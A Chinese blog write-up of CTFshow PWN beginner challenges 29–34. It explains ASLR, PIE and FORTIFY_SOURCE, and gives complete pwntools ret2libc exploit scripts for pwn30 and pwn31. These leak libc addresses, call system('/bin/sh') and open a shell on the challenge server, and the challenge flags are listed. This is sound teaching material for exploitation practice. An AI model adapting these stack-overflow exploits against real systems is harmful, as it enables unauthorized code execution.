CTFSHOW-PWN入门-前置基础(29-34)

5 篇文章 0 订阅

pwn29

QQ20240802-205852

根据题目提示,修改ASLR参数值即可得到flag

sysctl -w kernel.randomize_va_space=2

QQ20240802-210110

flag:ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

pwn30

QQ20240802-214528

首先用checksec查看文件信息,32位程序,Canary和PIE保护没有开启,NX保护开启

QQ20240802-214503

IDA静态分析,ctfshow函数中的read函数存在栈溢出

QQ20240802-214059

QQ20240802-214109

QQ20240802-214344

这道题没有给后门,也没有system函数,但是plt表中有puts函数,所以使用pwn25题目的ret2lib方式来打通这题。

from pwn import *
from LibcSearcher import *

context(arch='i386',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote("pwn.challenge.ctf.show",28201)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload0 = b'a' * 140 + p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendline(payload0)

puts_addr = u32(p.recv(4))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * 140 + p32(system_addr) + b'a'*4 + p32(binsh_addr)

p.sendline(payload)
p.interactive()

getshell,拿到flag

QQ20240802-214758

flag:ctfshow{29bc928c-5f51-413b-b3c6-bf13d823701b}

pwn31

QQ20240802-214830

首先用checksec查看文件信息,32位程序,Canary保护没有开启,NX和PIE保护开启

QQ20240802-215308

代码跟上题一样,ctfshow函数中的read函数存在栈溢出,但是本题开启了PIE,开启了地址随机化,就不能使用上题的利用方法了。

QQ20240802-221649

QQ20240802-221708

QQ20240802-222417

观察源代码发现printf函数输出了main函数的地址,我们用输出的地址减去main函数的地址就得到了偏移量,然后再用其他函数的地址加上偏移量,就能知道函数在内存中的地址了。进而我们可以利用puts函数输出got表中puts函数的地址,利用LibcSearcher模块得到puts函数在libc中的偏移,然后就能得到system函数和/bin/sh的地址了,最终拿到shell,得到flag。

QQ20240802-222759

先计算栈偏移量

cyclic 200

cyclic -l 0x6261616b

偏移量为140

QQ20240802-223701

QQ20240802-223721

得到真实的main函数地址,0x5656e652

from pwn import *

context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28249)

main_real_addr = int(p.recv().strip(),16)
print(hex(main_real_addr))

QQ20240802-224447

用真实的main函数地址减去程序中的main函数地址,就能得到函数在内存中的偏移量了。然后用got表中puts函数的地址泄露出puts函数真实的地址。这里有一个需要注意,在ctfshow函数中,函数的最后有一个mov ebx,DWORD PTR [ebp-0x4],我们要将这个ebx恢复而不是进行覆盖,ebx的长度为4个长度,还差4个长度用4个a补齐。而ebx是通过__x86.get_pc_thunk.ax得来的,它的意义就是为了获取下一条指令的地址。将地址赋值给ebx,然后加上偏移,得到当前got表的地址,并作为后续操作的基地址。got表地址为0x1fc0。

QQ20240802-225844

QQ20240802-230445

from pwn import *

context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28249)
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print(hex(main_real_addr))

main_addr = elf.symbols['main']
base_addr = main_real_addr - main_addr
puts_plt = base_addr + elf.symbols['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.symbols['ctfshow']
ebx = base_addr + 0x1fc0
payload0 = b'a' * 132 + p32(ebx) + b'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload0)
puts_addr = u32(p.recv(4))
print(hex(puts_addr))

最后通过libc找system,/bin/sh

完整exp:

from pwn import *
from LibcSearcher import *

context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28249)
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print(hex(main_real_addr))

main_addr = elf.symbols['main']
base_addr = main_real_addr - main_addr
puts_plt = base_addr + elf.symbols['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.symbols['ctfshow']
ebx = base_addr + 0x1fc0
payload0 = b'a' * 132 + p32(ebx) + b'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload0)
puts_addr = u32(p.recv(4))
print(hex(puts_addr))

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = b'a' * 140 + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()

getshell

QQ20240802-231229

flag:ctfshow{21c62651-701e-438b-a4e7-0224f2bdd530}

pwn32

QQ20240803-102031

gcc -D_FORTIFY_SOURCE=1 仅仅只在编译时进行检查

gcc -D_FORTIFY_SOURCE=2 程序执行时也会进行检查

题目提示禁用了fortify功能,我们先用IDA静态分析一下程序。首先看到Undefined函数,它的功能就是打印flag。而主函数中,第一个printf之前,将v4赋值给buf1,再将CTFshowPWN赋值给buf2,并通过printf打印出来。第二个printf之前,通过memcpy函数将argv[2]的v5个字符赋值给buf1,再通过strcpy函数将argv[1]赋值给buf2,并通过printf打印出来。因为本题没有fortify,所以输入4个参数就可以。

QQ20240803-102011

QQ20240803-101957

ssh连接靶机,./pwnme a a a a,得到flag

QQ20240803-103921

flag:ctfshow{9fb3e965-b4a0-4089-80bd-941ba0f08cfa}

pwn33

QQ20240803-104034

本题代码和上题一样,但是开启了fortify=1,仅仅在编译时检查,所以还是输入4个参数,得到flag

QQ20240803-104302

flag:ctfshow{b5ed92c9-93d3-45cd-8ab9-441f2979b49e}

pwn34

QQ20240803-104539

本题代码发生了略微的变化,开启了更高级别的fortify,更精确的缓冲区溢出检查,把危险函数替换成了安全函数。但做法还是跟之前两题一样,输入4个参数,得到flag。

QQ20240803-104634

ssh连接,得到flag

QQ20240803-104948

flag:ctfshow{d455f8b3-f615-4048-ab83-7aa970426318}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值